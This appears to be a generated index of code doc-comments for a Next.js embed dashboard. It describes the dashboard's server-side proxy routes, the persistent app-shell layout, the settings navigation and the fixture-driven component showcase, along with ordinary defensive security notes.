- **`embed-app.route.insights-leads`** — GET /api/insights/leads?widget_id=<public_id>&days=<N>&limit=<N> Server-side proxy to openalice-agent-lite's internal leads surface: GET /internal/insights/leads?widget_id=<public_id>&days=<N>&limit=<N> authenticated with the shared `x-internal-secret`. The secret lives server-side only (INTERNAL_SECRET) and never reaches the browser — this route is the only thing the dashboard Leads view calls. Contract: Request  query: widget_id (required), days (optional, default 30), limit (optional, default 100) Response (JSON): LeadList on success { error: string }  on failure (4xx/5xx)  
  *embed-dashboard/src/app/api/insights/leads/route.ts:2*
- **`embed-app.route.insights-revenue`** — GET /api/insights/revenue?widget_id=<public_id>&days=<N> Server-side proxy to openalice-agent-lite's internal revenue insights: GET /internal/insights/revenue?widget_id=<public_id>&days=<N> authenticated with the shared `x-internal-secret`. The secret lives server-side only (INTERNAL_SECRET) and never reaches the browser — this route is the only thing the dashboard client calls. Contract: Request  query: widget_id (required), days (optional, default 30) Response (JSON): RevenueInsights on success { error: string }       on failure (4xx/5xx)  
  *embed-dashboard/src/app/api/insights/revenue/route.ts:2*
- **`embed-app.route.insights-sentiment`** — GET /api/insights/sentiment?widget_id=<public_id>&days=<N> Server-side proxy to openalice-agent-lite's internal sentiment insights: GET /internal/insights/sentiment?widget_id=<public_id>&days=<N> authenticated with the shared `x-internal-secret`. The secret lives server-side only (INTERNAL_SECRET) and never reaches the browser — this route is the only thing the dashboard client calls. Contract: Request  query: widget_id (required), days (optional, default 30) Response (JSON): SentimentInsights on success { error: string }       on failure (4xx/5xx)  
  *embed-dashboard/src/app/api/insights/sentiment/route.ts:2*
- **`embed-app.route.insights-top-conversation`** — GET /api/insights/top-conversation?widget_id=<public_id>&days=<N> Server-side proxy to openalice-agent-lite's internal top-conversation insight: GET /internal/insights/top-conversation?widget_id=<public_id>&days=<N> authenticated with the shared `x-internal-secret` (server-side only; never reaches the browser). Contract: Request  query: widget_id (required), days (optional, default 30) Response (JSON): TopConversation | null on success { error: string }      on failure (4xx/5xx)  
  *embed-dashboard/src/app/api/insights/top-conversation/route.ts:2*
- **`embed-app.route.kb-sources`** — Tenant-scoped BFF proxy for the Knowledge wiki source surface (KB ULTRAWIKI M2) against openalice-tenants: GET    /api/kb/sources?id=<widget>                              — list ({ sources: KbSource[] }) POST   /api/kb/sources?id=<widget>            {urls: [1..=20]}  — batch URL add ({ added, rejected }) POST   /api/kb/sources?id=<widget>&source=<sid>&action=reindex  — 202 { id, status:"queued" } DELETE /api/kb/sources?id=<widget>&source=<sid>                 — 204 (purges chunks) Sibling of /api/kb-upload (which keeps the multipart document upload + the tenant-wide reindex trigger). The bearer token resolves server-side (devToken.ts → session cookie or dev-minted JWT) and never reaches the browser. Error relay preserves the backend's stable `code` (e.g. the typed 403 `kb_page_limit_reached` when an ENTIRE batch is over the plan quota) so the wiki can render the upgrade gate instead of a generic failure.  
  *embed-dashboard/src/app/api/kb/sources/route.ts:2*
- **`embed-app.route.kb-stats`** — GET /api/kb/stats?widget_id=<public_id>&source_url=<https url> Server-side proxy to openalice-agent-lite's internal KB stats endpoint: GET /internal/kb/stats?widget_id=<public_id>&source_url=<https url> authenticated with the shared `x-internal-secret`. The secret lives server-side only (INTERNAL_SECRET) and never reaches the browser. agent-lite resolves widget_id → tenant_id server-side via the config resolver (same as /internal/analytics/summary), so an unknown widget 404s and no cross-tenant stats leak is possible. `source_url` (when supplied) is likewise scoped server-side to the resolved tenant_id — a caller can only ever see chunk counts within their OWN tenant. Returns honest, directly-measured account-level knowledge-base metrics (total_chunks, distinct_docs, last_indexed_at) from the rag_chunks table. Coverage % and retrieval latency are NOT returned — neither is genuinely measurable from the stored data. `source_url` is optional (§per-source-kb-stats) — pass the widget's `brand_kb_url` to also get a `source` field with the real per-source chunk count for that one url, so the Knowledge page can show honest ingest status for the website source instead of a hardcoded "—". Contract: Request  query: widget_id (required — the widget's public_id), source_url (optional — a https url to also scope stats to) Response (JSON): KbStats on success { error: string } on failure (4xx/5xx)  
  *embed-dashboard/src/app/api/kb/stats/route.ts:2*
- **`embed-app.route.kb-upload`** — Tenant-scoped BFF proxy for per-widget knowledge-base document upload + management against openalice-tenants: POST   /api/kb-upload?id=<widget>                 — upload a document (multipart `file`) POST   /api/kb-upload?id=<widget>&action=paste    — add a pasted-text source (JSON {title,text}) POST   /api/kb-upload?id=<widget>&action=reindex  — re-index the widget's current KB source GET    /api/kb-upload?id=<widget>                 — list this widget's knowledge sources DELETE /api/kb-upload?id=<widget>&source=<id>     — remove one knowledge source The tenant bearer token (devToken.ts → real session cookie OR dev-minted JWT) is resolved server-side and forwarded to openalice-tenants over EMBED_ACCOUNTS_INTERNAL_URL. The token never reaches the browser; the file bytes live in tenants (on the EU Hetzner NVMe) and are served back by tenants itself — never on this Next.js process disk. Defence in depth — POST validates the extension + a 10MB cap BEFORE forwarding, even though tenants re-validates server-side (kb_upload.rs).  
  *embed-dashboard/src/app/api/kb-upload/route.ts:2*
- **`embed-app.route.leads-export`** — GET /api/leads-export?widget_id=<public_id>&days=<N> Streams a UTF-8 CSV of the widget's WHOLE unified inbox — captured leads AND booking records — GDPR Art. 20 data portability export. Up to 1 000 lead rows + 500 booking rows per request, merged newest-first (the same mergeInboxEntries order the inbox renders). The ROUTE keeps its /api/leads-export path so old bookmarks and the dashboard button keep working (F12: naming moved to «Inbox», routes stay). Security: - Requires an authenticated dashboard session; delegates to assertWidgetAccess() for the exact same IDOR gate used by every other widget-read route (closes the same ownership-check class). - Response is never cached (Cache-Control: no-store). CSV contract (S2 P0.5 — one row shape for both kinds): Columns: kind, captured_at, name, email, phone, message, conversation_id, item, slot_start, slot_end, status kind            "lead" | "booking" message         the lead's opening message / the booking note conversation_id leads only; item/slot_start/slot_end/status bookings only (slot instants are RFC 3339 UTC, as stored) Encoding: UTF-8 with BOM so Excel auto-detects the charset. Quoting: RFC 4180 — all fields wrapped in double-quotes; embedded double-quotes escaped as ""; CR, LF, CRLF inside field values are preserved inside the quoted field. Content-Disposition: attachment; filename="inbox-<widget>-<days>d.csv"  
  *embed-dashboard/src/app/api/leads-export/route.ts:2*
- **`embed-app.route.leads-export`** — Tests for the unified-inbox CSV export (S2 verifier F12): GET /api/leads-export?widget_id=…&days=… - the CSV now carries BOTH inbox halves: lead rows AND booking rows, kind-discriminated, merged newest-first (mergeInboxEntries order); - booking rows carry item / slot_start / slot_end / status, lead rows carry conversation_id — the other kind's columns stay empty; - RFC 4180 quoting is preserved (embedded quotes doubled); - the ROUTE and its widget_id key are unchanged (rename, not a move) — only the download filename says inbox-…; - the booking half degrades to [] (listBookingInsights never throws), so a broken bookings read can never block the GDPR lead export.  
  *embed-dashboard/src/test/leadsExportRoute.test.ts:2*
- **`embed-app.route.legal-impressum`** — GET /impressum — temporary (307) redirect to the legal host's Impressum (legal notice) page. Required for DE/EU compliance. The dashboard does not host legal copy itself; see src/lib/legal.ts.  
  *embed-dashboard/src/app/impressum/route.ts:2*
- **`embed-app.route.legal-privacy`** — GET /privacy — temporary (307) redirect to the legal host's Privacy page. The dashboard does not host legal copy itself; see src/lib/legal.ts.  
  *embed-dashboard/src/app/privacy/route.ts:2*
- **`embed-app.route.legal-redirect`** — Temporary (307) server-side redirects for the legal-content routes — /terms, /privacy, /impressum. Those pages live on a separate host (the marketing / landing site) configured via `LEGAL_BASE_URL`, so the dashboard bounces the visitor there instead of 404-ing. The footer links in login / signup / onboarding point at these routes. 307 (Temporary Redirect) is used deliberately, NOT 308 (Permanent): `LEGAL_BASE_URL` will change at the prod cutover (openalice.blal.pro → openalice.eu). A 308 is cached indefinitely by browsers / CDNs, so any client that caught the redirect BEFORE the migration would be permanently pinned to the OLD origin even after the env var is updated. 307 is not cached by default, so the redirect always reflects the CURRENT `LEGAL_BASE_URL` at request time — the migration cost is nothing. 307 still preserves the request method (unlike 301/302), so it's correct for any caller, not just GET — though these routes are GET-only today. Open-redirect note: the target origin is the operator-configured legal base (env), NEVER user input, and the path is a hard-coded slug — so a visitor cannot influence where the redirect lands. When the env var is unset we fall back to the prod legal host so the routes always resolve.  
  *embed-dashboard/src/lib/legal.ts:2*
- **`embed-app.route.legal-terms`** — GET /terms — temporary (307) redirect to the legal host's Terms page. The dashboard does not host legal copy itself; see src/lib/legal.ts.  
  *embed-dashboard/src/app/terms/route.ts:2*
- **`embed-app.route.lily-availability`** — GET /api/lily/{slug}/availability?date=YYYY-MM-DD — the PUBLIC slot-grid proxy for the hosted Lily page's booking island (S2 P0.5). Why a proxy: the availability endpoint lives on embed-accounts (tenants host) while the visitor's page is served from the S2 public host — a browser fetch would need CORS on the accounts service. The dashboard already proxies internal reads (see /api/insights/leads); this route does the same server-side hop over the docker network, no secret involved (the upstream is public + per-IP rate-limited — see lilyProxy.server.ts for the XFF passthrough that keeps buckets per-visitor). PUBLIC: /api/lily is in the middleware's PUBLIC_PREFIXES (no session — visitors book anonymously; that is the product).  
  *embed-dashboard/src/app/api/lily/[slug]/availability/route.ts:2*
- **`embed-app.route.lily-availability.test`** — Tests for the PUBLIC /api/lily/{slug}/* proxy routes (S2 P0.5): - slug plausibility guard (junk slugs never reach the upstream), - date validation on availability (typed 400 invalid_date), - body sanitation on the booking POST (contract keys only; missing required fields → 400 before any upstream call), - STATUS PASSTHROUGH — the island words its states off the upstream's typed answers (201 created / 409 slot_full / 404 booking_not_configured), - the X-Forwarded-For passthrough that keeps the upstream per-IP limiter bucketed per VISITOR (not per dashboard container).  
  *embed-dashboard/src/test/lilyPublicApiRoutes.test.ts:2*
- **`embed-app.route.lily-bookings`** — POST /api/lily/{slug}/bookings — the PUBLIC booking-create proxy for the hosted Lily page's island (S2 P0.5). Body (passthrough contract): `{item_id?, slot_start, name, phone, email?, note?}` → upstream `POST /public/pages/{slug}/bookings` on embed-accounts. Status passthrough is the point: the island words its states off the typed answers — 201 `{id, status}` (status `new` in owner_confirm mode = «заявка», `confirmed` in auto mode), 409 `slot_full`, 400 reason-coded. Field validation is upstream's job (it is the authority and its rules are deliberately loose — a booking must never die on a phone format nit); this route only guards shape (JSON object) and slug plausibility. PUBLIC (no session) + the XFF passthrough keeps the upstream's tight 30/min per-IP booking bucket per-VISITOR (see lilyProxy.server.ts).  
  *embed-dashboard/src/app/api/lily/[slug]/bookings/route.ts:2*
- **`embed-app.route.logout`** — POST /logout — clears the HttpOnly session cookie and redirects to /login. Logout is a MUTATION, so only POST performs it: SameSite=Lax still sends the session cookie on a cross-site top-level GET navigation, so a GET logout would be a logout-CSRF vector (any site could force-log-out the user via a link / redirect / image tag). GET therefore just bounces to /login WITHOUT clearing the cookie.  
  *embed-dashboard/src/app/logout/route.ts:2*
- **`embed-app.route.poster`** — GET /api/poster/{slug}?size=a5|a6&headline=1..4&widget_id=<uuid> The printable QR poster PDF (S2 M3, Р4) — an AUTHED dashboard route: the OWNER downloads print material for their own hosted Lily page. Answers `application/pdf`, `Content-Disposition: attachment; filename="{slug}-poster-{size}.pdf"`. OWNERSHIP (ReBAC): the page row is loaded EXCLUSIVELY through the same tenant-scoped /me/widgets path the Studio wizard uses (lib/tenants → session bearer token) — never the public resolve. embed-accounts enforces tenant ownership on every /me call, so a slug belonging to another tenant is simply never found here (404, no existence leak — the same IDOR class closed by lib/widgetAccess for the read proxies): 1. `widget_id` hint (the wizard passes it) → one tenant-scoped GET /me/widgets/{id}/page; it must ALSO carry this exact slug. 2. No/stale hint → scan the tenant's own widget list for the page with this slug (v1: one page per widget, tenants own few widgets). CONTENT: HTML template (lib/posterTemplate — warm-light «Ларёк» skin, copy-pack §1 headlines verbatim, the vendored-encoder QR of {S2_QR_BASE}/q/{qr_token}) printed by the chromium boundary (lib/posterRenderer — mocked in the route tests). The poster prints for DISABLED pages too: printing before flipping the page live is a legitimate owner flow (the QR redirect only works once enabled). Errors (JSON, never a stack trace): 400 bad size/headline · 401 no session · 404 unknown/foreign/invalid slug · 409 page saved without a qr_token (pre-M1 row) · 502/504 tenants unreachable · 503 renderer unavailable (no chromium in the runtime).  
  *embed-dashboard/src/app/api/poster/[slug]/route.ts:2*
- **`embed-app.route.voice-preview`** — GET /api/voice-preview?provider=<p>&voiceId=<id> Server-side proxy to openalice-agent-lite GET /internal/voice-preview?provider=&voice= which returns a short audio/mpeg sample of a CATALOG voice (Voxtral EU / Fish US / ElevenLabs US-premium). The shared `x-internal-secret` lives server-side only (INTERNAL_SECRET) and never reaches the browser — this route is the only thing the VoiceSelector's ▶ Preview button calls. These are generic catalog samples (NOT tenant data), so there is no per-widget ownership gate; we validate only the provider + voice-id shape and stream the bytes back inline so a Web Audio <audio> element can play them. The samples are immutable, so the response is cacheable. NOTE on the upstream: agent-lite's /v1/embed/voice-preview endpoint is being built in parallel. The upstream URL (EMBED_RUNTIME_INTERNAL_URL) and secret (INTERNAL_SECRET) are both known here, so this is a real proxy — not a 501 stub. If agent-lite has not shipped the endpoint yet it answers 404/501, which this route maps to the client (4xx pass-through / 5xx → 502) and the Preview button degrades to a graceful inline error.  
  *embed-dashboard/src/app/api/voice-preview/route.ts:2*
- **`embed-app.route.voice-sample`** — GET /api/voice-sample?id=<voice_id> Server-side proxy to openalice-tenants GET /me/voices/{id}/sample, which in turn proxies the Mistral Voices sample endpoint. The tenant bearer token lives server-side only (devToken.ts) and never reaches the browser — this route is the only thing the VoiceEditor's play-sample button calls. Tenant ownership is enforced by tenants (the voice is looked up by (id, tenant_id) before any Mistral call). We stream the audio bytes back inline so a Web Audio <audio> element can play them.  
  *embed-dashboard/src/app/api/voice-sample/route.ts:2*
- **`embed-app.route.vrm-upload`** — Tenant-scoped (NOT admin) BFF proxy for custom VRM avatar uploads: POST   /api/vrm-upload            — upload a .vrm file (multipart) GET    /api/vrm-upload            — list this tenant's uploaded VRMs DELETE /api/vrm-upload?id=<uuid>  — delete one uploaded VRM The tenant bearer token (devToken.ts → real session cookie OR dev-minted JWT) is resolved server-side and forwarded to openalice-tenants /me/vrm-assets over EMBED_ACCOUNTS_INTERNAL_URL. The token never reaches the browser; the file bytes live in tenants (on the EU Hetzner NVMe), never on this Next.js process disk. Defence in depth — POST validates GLB magic bytes ('glTF' = 0x67 0x6C 0x54 0x46) + a 40MB cap BEFORE forwarding, so a mislabelled / oversized upload is rejected here even though tenants re-validates server-side (vrm_validation.rs).  
  *embed-dashboard/src/app/api/vrm-upload/route.ts:2*

### embed-app/settings
- **`embed-app.settings.domain-allowlist`** — The allowed-domains chips editor — self-contained input/validation state (split from SettingsClient).  
  *embed-dashboard/src/app/(dash)/settings/DomainAllowlistEditor.tsx:2*
- **`embed-app.settings.flags.classes`** — Phase-3 conversion №4 (2026-07-17): flags.module.css (195L) deleted — the structural classes shared by FlagsView and the route skeleton (loading.tsx), all theme utilities. One module so the skeleton tracks the real row for free.  
  *embed-dashboard/src/app/(dash)/settings/flags/flags.classes.ts:2*
- **`embed-app.settings.rows`** — Small row primitives of the settings page — the coming-soon note and the switch row (split from SettingsClient).  
  *embed-dashboard/src/app/(dash)/settings/SettingsRows.tsx:2*
- **`embed-app.settings.shared`** — Shared constants + hostname validation for the per-widget settings (split from SettingsClient — the last viewlogic monster).  
  *embed-dashboard/src/app/(dash)/settings/settingsShared.ts:2*

### embed-app/shell
- **`embed-app.shell.dash-layout`** — Route group hosting every AUTHED dashboard screen behind ONE persistent AppShell instance — home, widgets/*, settings/*, conversations, insights, analytics, usage. Public / pre-auth surfaces (login, forgot-password, reset-password, onboarding, the hosted Lily page, share/accept, legal routes) stay OUTSIDE this group at the app root, so they render with no dashboard chrome at all — unchanged from before. Nav-shell audit (2026-07-13): this is the fix for "every tab feels like a separate page". Before, AppShell was instantiated by every individual page.tsx AND loading.tsx (66+ call sites) — every navigation tore down and rebuilt the rail + topbar, resetting scroll and dropping focus. Now AppShell renders once, here, and Next's App Router only swaps the `{children}` slot (the actual page) on navigation — the shell around it never remounts. `SlotsProvider` (ShellSlots.tsx) carries the crumb / topbarRight portal targets AppShell exposes, so pages several layout boundaries below can still land page-owned chrome content without a prop from a parent that doesn't have one to give (a layout never receives a page's props). Server Component — no interactivity of its own; AppShell (client) and SlotsProvider (client) are the boundary.  
  *embed-dashboard/src/app/(dash)/layout.tsx:2*
- **`embed-app.shell.layout`** — The dashboard app shell — left rail + topbar + canvas (embed-app-system.css §9). Rendered ONCE by `src/app/(dash)/layout.tsx` and PERSISTS across every authed navigation — it no longer unmounts/remounts per page. Nav-shell audit (2026-07-13): before this, every page.tsx AND loading.tsx instantiated its own `<AppShell active="…" crumb={…}>`, so every tab click rebuilt the rail+topbar, reset scroll to 0 and dropped focus — the "every tab feels like a separate page" problem. Fix: AppShell moved to a route-group layout; the two bits of state it used to take as props are now either derived or slotted: - `active` (which rail item is lit) is 100% derivable from the URL — computed here via usePathname(), no prop needed. - `crumb` / `topbarRight` are genuinely page-owned (dynamic widget name, live status chip, …) and still need to reach this persistent component from a page one or more layout boundaries below it. See ShellSlots.tsx: this renders `<SlotHost>` marks; pages project into them via `<ShellMeta crumb={…} topbarRight={…} />`. Client component because the mobile (<860px) rail toggle needs interactivity, and because deriving `active` needs usePathname(). Mobile rail also supports Escape-key dismiss and a click-catching backdrop.  
  *embed-dashboard/src/components/AppShell.tsx:4*
- **`embed-app.shell.layout`** — Tests for the AppShell dashboard layout component (rewritten for the 2026-07-13 nav-shell audit — AppShell no longer takes active/crumb/ topbarRight as props; it's rendered once by `(dash)/layout.tsx` and derives everything from the URL + the ShellSlots portal mechanism). Key behaviors: - Renders all main nav items as accessible links with aria-labels. - `railKeyFromPathname` maps the URL to the right rail item, INCLUDING the one deliberate exception (/widgets/analytics → "analytics", not "widgets", preserved from the pre-refactor per-page override). - The active nav item carries aria-current="page" and its link class includes the "--active" modifier; all others do not. - The skip-to-content link targets "#oa-main". - The rail aside carries aria-label="Dashboard navigation". - The main element has id="oa-main". - Children are rendered inside the main canvas. - A page's <ShellMeta crumb={…}/> lands its content in the topbar crumb via the SlotHost/SlotPortal mechanism. - The "Sign out" control is ALWAYS rendered (unified topbar); a page's <ShellMeta topbarRight={…}/> content sits in a slot to its left and never replaces it. - Mobile toggle button toggles aria-expanded between false and true, and auto-closes when the pathname changes (AppShell now persists across navigations instead of remounting with fresh state each time). - Settings nav item is rendered in the footer nav (last).  
  *embed-dashboard/src/test/AppShell.test.tsx:2*
- **`embed-app.shell.meta`** — Per-page chrome content, in one call. Replaces the old pattern where every page.tsx/loading.tsx wrapped its whole body in `<AppShell active="…" crumb={…} topbarRight={…}>` — AppShell now renders once in `(dash)/layout.tsx` and never remounts on a tab switch. A page instead renders `<ShellMeta crumb={…} topbarRight={…} tabsTrailing={…} />` as a sibling at the top of its own fragment; each prop is projected via `SlotPortal` into the matching `SlotHost` the persistent chrome already mounted (see ShellSlots.tsx for the mechanism + why). `tabsTrailing` lands in WidgetTabs' hub-row trailing slot (the save-state whisper / Share entry some widget-editor pages show) — it's a no-op on pages that don't render under `(dash)/widgets/layout.tsx`.  
  *embed-dashboard/src/components/ShellMeta.tsx:4*
- **`embed-app.shell.settings-layout`** — Hosts the persistent tenant-settings sub-nav (Account · Team · Flags · Billing · SSO) ONCE for every /settings/* route (nav-shell audit, 2026-07-13) — including `/settings/sso`, previously reachable only by typing the URL. SettingsSubNav is self-sufficient (usePathname()) and hides itself on bare `/settings` (the widget picker / the widget-scoped Settings tab, which shows WidgetTabs' hub row instead — see its doc-comment). Server Component; SettingsSubNav itself is the client boundary.  
  *embed-dashboard/src/app/(dash)/settings/layout.tsx:2*
- **`embed-app.shell.settings-subnav`** — Persistent tenant-settings sub-nav (Account · Team · Flags · Billing · SSO), rendered ONCE by `(dash)/settings/layout.tsx` — added by the 2026-07-13 nav-shell audit alongside the widgets hub-row lift. Includes `/settings/sso`, previously a fully-built page with ZERO inbound links (findable only by typing the URL). Hidden on bare `/settings` (no sub-path): that route is EITHER the "pick a widget" landing page (no `?id=`) or the widget-scoped Settings TAB (`?id=`, reached via WidgetTabs' hub row, which renders its own `oa-tabsbar` strip) — neither wants this tenant-level sub-nav stacked on top. usePathname() (not a prop) makes this decision because a layout never receives the page's own props.  
  *embed-dashboard/src/components/SettingsSubNav.tsx:4*
- **`embed-app.shell.slots`** — Generic named-slot portal system — the mechanism that lets a PERSISTENT chrome component (AppShell's topbar, WidgetTabs' hub row) expose a DOM spot that a deeper, per-route page can project page-specific content into, WITHOUT the chrome component needing a prop from its caller (it has none — it's rendered once in a layout.tsx, which never receives page props in the App Router) and WITHOUT the page needing to reach up through a prop-drilling chain that doesn't exist across a layout boundary. Root-cause this solves (2026-07-13 nav-shell audit): AppShell used to be instantiated by EVERY page.tsx/loading.tsx, receiving `active`/`crumb`/ `topbarRight` as explicit props — which is why it was rendered per-page instead of once in a layout (a layout can't receive those from a child page). Rail-highlighting (`active`) turned out to be fully derivable from the URL (see AppShell's own usePathname() mapping) — no slot needed there. Only genuinely page-owned content (the crumb's dynamic middle segment, e.g. a widget's name; a topbar status chip; a per-widget "unsaved draft" whisper) still needs to travel from a page to chrome that now lives one or two layout boundaries above it. That's what SlotHost/SlotPortal carry. Usage: - The chrome owner renders ONE `<SlotHost name="crumb" />` where the content should visually land (rendered exactly once, in the persistent layout — it never remounts on a tab switch). - Each page renders `<SlotPortal name="crumb">{content}</SlotPortal>` (or the `ShellMeta` convenience wrapper) — a client leaf that portals its children into the registered host. Server Components CAN pass server-rendered JSX as `children` into this client leaf; the leaf never needs to know how to build that JSX itself. - If a host isn't mounted yet (or the page doesn't render a portal for a slot), the corresponding div is simply empty — CSS `:empty` rules on the host's className collapse anything that would otherwise leave a visible gap (see `.oa-topbar__slot:empty` / `.oa-tabs__trailing` in globals.css). Two contexts, not one, on purpose: `SetHostContext` carries the setter only — created once via useCallback with an EMPTY dep array, so it never changes identity — meaning every `SlotHost`'s ref callback (which depends on it) is stable and only fires on real mount/unmount, never on unrelated re-renders. `HostsContext` carries the live host map and DOES change identity when a host registers, but only `SlotPortal` consumers subscribe to it, so that churn never bounces a `SlotHost`'s DOM ref.  
  *embed-dashboard/src/components/ShellSlots.tsx:4*
- **`embed-app.shell.slots`** — Tests for the generic named-slot portal system (ShellSlots.tsx) that lets a persistent chrome component (AppShell, WidgetTabs) expose a DOM spot a deeper page can project page-specific content into, without either side needing a prop the App Router's layout boundary can't carry.  
  *embed-dashboard/src/test/ShellSlots.test.tsx:2*
- **`embed-app.shell.widgets-layout`** — Hosts the per-widget hub-row (WidgetTabs) ONCE for every /widgets/* route, so it persists across Persona → Knowledge → Mode → … tab clicks instead of being torn down and rebuilt by each page.tsx (nav-shell audit, 2026-07-13). WidgetTabs is self-sufficient (reads `?id=` and the active tab from the URL via next/navigation hooks) — it needs zero props here. Renders `null` on routes with no `?id=` (new/preview-without-id, the avatar-capture admin tool) — same behavior as before, now internal to WidgetTabs instead of each page conditionally rendering it. Server Component; WidgetTabs itself is the client boundary.  
  *embed-dashboard/src/app/(dash)/widgets/layout.tsx:2*
- **`embed-app.shell.widget-tabs`** — The SHARED per-widget config navigation — TWO-LEVEL since 2026-07-03 (NAO: «миллион вкладок… переделай структуры»): Row 1 · HUBS      Overview | Set up | Launch | Grow | Settings Row 2 · PAGES     the active hub's pages only (e.g. Set up → Persona · Knowledge · Mode · Appearance · Voice) A newcomer sees FIVE choices instead of seventeen; the journey stays (Set up → Launch → Grow), every deep-link keeps working (routes are untouched — this is pure navigation rendering over the same canonical list from @/lib/widgetTabs). A hub links to its first page; the active hub is marked aria-current="location", the active page aria-current="page". SELF-SUFFICIENT since the nav-shell audit (2026-07-13): rendered ONCE by `(dash)/widgets/layout.tsx` with no props at all — it derives the widget id from `useSearchParams().get("id")` and the active tab from `usePathname()` (matched against the canonical href list), so the strip PERSISTS across every /widgets/* tab click instead of being torn down and rebuilt by each page.tsx. `widgetId`/`active` remain accepted as OPTIONAL overrides — a few existing call sites (settings/page.tsx, which lives outside the /widgets/* layout and still renders this explicitly; a couple of unit tests) pass them directly, which still works unchanged. `trailing` (the save-state whisper / Share entry a few widget-editor pages show) also stays as a direct-render override for those explicit call sites; when omitted, it falls back to a `<SlotHost name="tabsTrailing">` so a page.tsx below the (now layout-owned) strip can still project its own trailing content in via `<ShellMeta tabsTrailing={…} />` without this component needing a prop from a caller it doesn't have (a layout).  
  *embed-dashboard/src/components/WidgetTabs.tsx:4*

### embed-app/showcase
- **`embed-app.showcase`** — Internal UI SHOWCASE — the living catalog of the shared component library, every piece mounted with STAGED demo props (zero data fetches, deterministic states) so the team can (a) eyeball the whole system on one page after any design-token change, (b) point the screenshot rig at stable states, and (c) later mount the same stages frame-by-frame in the Remotion showcase service. Admin/dev-gated like the avatar studio — never a customer surface. (NAO 2026-07-02: showcase-ready + Remotion- ready as a standing bar for all components and pages.)  
  *embed-dashboard/src/app/showcase/page.tsx:6*
- **`embed-app.showcase.components`** — ShowcaseComponentsClient — the fixture-driven dashboard component gallery (Embed Playground program, milestone 2 — NAO-approved 2026-07-09). Renders REAL / faithful-twin dashboard surfaces — conversations list, leads table, KB sources panel, analytics tiles, insights cards — each fed from 2-3 realistic fixture BATCHES (src/lib/fixtures/). A batch switcher per section auto-rotates every ~8s (the "infinite loop" feel NAO asked for) and can be clicked to jump to a specific batch. `?batch=N` FREEZES every section on batch index N (mirrors ScenarioPlayer.tsx's established `?step=N` pattern in this same showcase — a screenshot rig / Remotion capture needs a deterministic frame, not a moving auto-rotate target) — the auto-rotate timer is simply never armed when the param is present. Pure props, zero fetches — the exact same fixtures a later Remotion render service can import. `initialBatch` is resolved SERVER-SIDE (page.tsx reads `searchParams`) and passed down as a plain prop — NOT read from `window.location` client-side. That's deliberate: a client-only URL read makes the server's first render (batch 0) and the client's first render (batch N) genuinely different, which is a real hydration-mismatch risk on ANY page (confirmed present, pre-existing, unrelated to this feature — reproduces on the unmodified `/showcase` page too) — when hydration fails, React's error-recovery timing is not something a screenshot rig can depend on. A prop threaded through from the server sidesteps the whole class of bug: server and client agree on the frozen batch from the very first paint.  
  *embed-dashboard/src/app/showcase/components/ShowcaseComponentsClient.tsx:4*
- **`embed-app.showcase.components`** — AnalyticsTiles — a fixture-driven, presentational twin of the widget Analytics view's KPI row + by-day trend + top-tools panel (Playground milestone 2). The REAL `AnalyticsView` (src/app/widgets/analytics/ AnalyticsView.tsx) self-fetches from `/api/analytics`, so it can't take injected data without a network mock; this component takes the exact `ConversationAnalytics` shape as a plain prop instead — NO fetches, pure props-driven rendering, so a later Remotion render can mount the same fixtures frame-by-frame. Design-system classes only (`oa-*` globals), no page-scoped CSS module dependency.  
  *embed-dashboard/src/app/showcase/components/AnalyticsTiles.tsx:4*
- **`embed-app.showcase.components`** — KnowledgeSourcesPanel — a fixture-driven, presentational twin of the Knowledge Base sources list (Playground milestone 2). The REAL `KnowledgeEditor` (src/app/widgets/knowledge/KnowledgeEditor.tsx) is a stateful CRUD editor (useActionState, file upload, polling, delete confirm) — not fixture-injectable without forking its plumbing. This component takes the exact `KbUpload[]` + `KbStats` shapes as plain props only (`oa-*` globals).  
  *embed-dashboard/src/app/showcase/components/KnowledgeSourcesPanel.tsx:4*
- **`embed-app.showcase.components`** — Fixture-driven DASHBOARD COMPONENT GALLERY (Embed Playground program, milestone 2 — NAO-approved 2026-07-09): conversations list, leads table, KB sources panel, analytics tiles, and insights cards, each rendered from 2-3 batches of realistic fake data with NO API calls — pure props-driven rendering (src/lib/fixtures/), so a later Remotion render service can mount the exact same fixtures frame-by-frame. Admin/dev-gated like /showcase — never a customer surface.  
  *embed-dashboard/src/app/showcase/components/page.tsx:6*
- **`embed-app.showcase.components`** — InsightsCards — a fixture-driven, presentational twin of the weekly insights digest's card feed (Playground milestone 2). The REAL `/insights` page (src/app/insights/page.tsx) is an async Server Component that fans out several live fetches + next-intl `t()` translations — not something a client showcase can mount with injected data. This component takes an `InsightsFixture` (src/lib/fixtures/insights.ts) as a plain prop (dev-tool content, not customer-facing i18n surface). Design-system classes only (`oa-*` globals).  
  *embed-dashboard/src/app/showcase/components/InsightsCards.tsx:4*
- **`embed-app.showcase.fixtures`** — Fixture module (Embed Playground program, milestone 2 — NAO-approved 2026-07-09): realistic, deterministic, batched fake data typed against the REAL component prop shapes across the dashboard — conversations, leads, analytics, knowledge-base sources, and the weekly insights digest. Pure data, zero fetches, so `/showcase/components` (and later the Remotion render service) can import the exact same batches and get byte-identical frames. Each domain ships 2-3 batches so a batch switcher can cycle through realistically different data shapes (busy/quiet, populated/empty).  
  *embed-dashboard/src/lib/fixtures/index.ts:2*
- **`embed-app.showcase.fixtures`** — Fixture batches for the Analytics tiles (Playground milestone 2) — typed against the REAL `ConversationAnalytics`/`AnalyticsDay` shapes (`@/lib/agentLite`). Pure data, no fetches; `AnalyticsTiles.tsx` renders these directly (the live `AnalyticsView` self-fetches from `/api/analytics`, so it isn't fixture-injectable without a network mock — this is a deliberately separate, presentational-only twin for the showcase / Remotion feed, sharing the same design-system classes).  
  *embed-dashboard/src/lib/fixtures/analytics.ts:2*
- **`embed-app.showcase.fixtures`** — Fixture batches for the Leads table (Playground milestone 2) — typed against the REAL `LeadItem` shape (`@/lib/agentLite`), pure data, no fetches. `LeadsView` (src/app/widgets/leads/LeadsView.tsx) already takes `initialLeads`/`total`/etc. as plain props (no self-fetch), so these ride straight into the real component unmodified.  
  *embed-dashboard/src/lib/fixtures/leads.ts:2*
- **`embed-app.showcase.fixtures`** — Fixture batches for the KB sources panel (Playground milestone 2) — typed against the REAL `KbUpload` (`@/lib/tenants`) and `KbStats` (`@/lib/agentLite`) shapes. Pure data, no fetches. `KnowledgeSourcesPanel` is a presentational-only twin of `KnowledgeEditor`'s sources list (which is a stateful CRUD editor with server actions — not fixture-injectable without forking its upload/delete plumbing).  
  *embed-dashboard/src/lib/fixtures/knowledge.ts:2*
